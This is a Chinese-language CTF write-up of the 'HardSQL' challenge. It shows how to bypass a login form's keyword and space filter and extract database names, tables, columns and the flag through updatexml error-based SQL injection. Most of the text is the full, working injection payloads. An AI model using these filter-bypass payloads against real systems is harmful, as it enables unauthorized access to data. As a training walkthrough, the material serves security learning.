前言
本文主要记录[极客大挑战 2019]HardSQL的解题过程和相关思路
[极客大挑战 2019]HardSQL
打开题目看到登录框,先尝试用'
判断类型,发现回显了错误信息告知是数据库为MariaDB,存在字符型注入
尝试使用#
闭合,看起来是闭合成功了,不过为什么还是提示我输入username和password?
于是我尝试username=123&password=123
,发现提示用户名密码错误,那就是说上面Input your username and password
并不是登陆失败的提示,而是存在某种检测,另外给出的提示
那么我就用bp跑了一下字典,看看是检测了哪些内容
检测到#
,则返回Input your username and password
检测到=
、/**/
、by
、union
等都会有提示你可别被我逮住了,臭弟弟
不过呢,因为一开始可以看到报错信息,又加上没有检测updatexml
、extractvalue
等报错函数,可以考虑使用报错注入,这里就采用updatexml
来尝试报错注入
尝试使用?username=1' or updatexml(1,concat(0x7e,database()),1))%23&password=1
不过发现还是被检测到了
很奇怪,明明or
、updatexml
、(
、)
、%23
等这些都没有被过滤,为什么还是被检测到了,后来把空格去掉才看出来,原来空格也被过滤了
那么在空格被过滤,内联注释被过滤的情况下,可以采用(
、)
来进行代替以绕过检测,查找当前数据库
?username=1'or(updatexml(1,concat(0x7e,database()),1))%23&password=1
当=
被过滤的情况下可以使用like
进行替换,查找当前数据库中的所有表名
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),1))%23&password=1
虽然and
被过滤了,但是由于geek
数据库中只有H4rDsq1
一张表,所以不用担心被其他表的列名所混淆
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like('geek'))),1))%23&password=1
也可以使用如下payload
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%23&password=1
继续获取username和password,发现获取password的时候其值只显示了一部分
而substr
函数被过滤了,这时可以考虑使用right
函数
根据重复部分拼接得到flag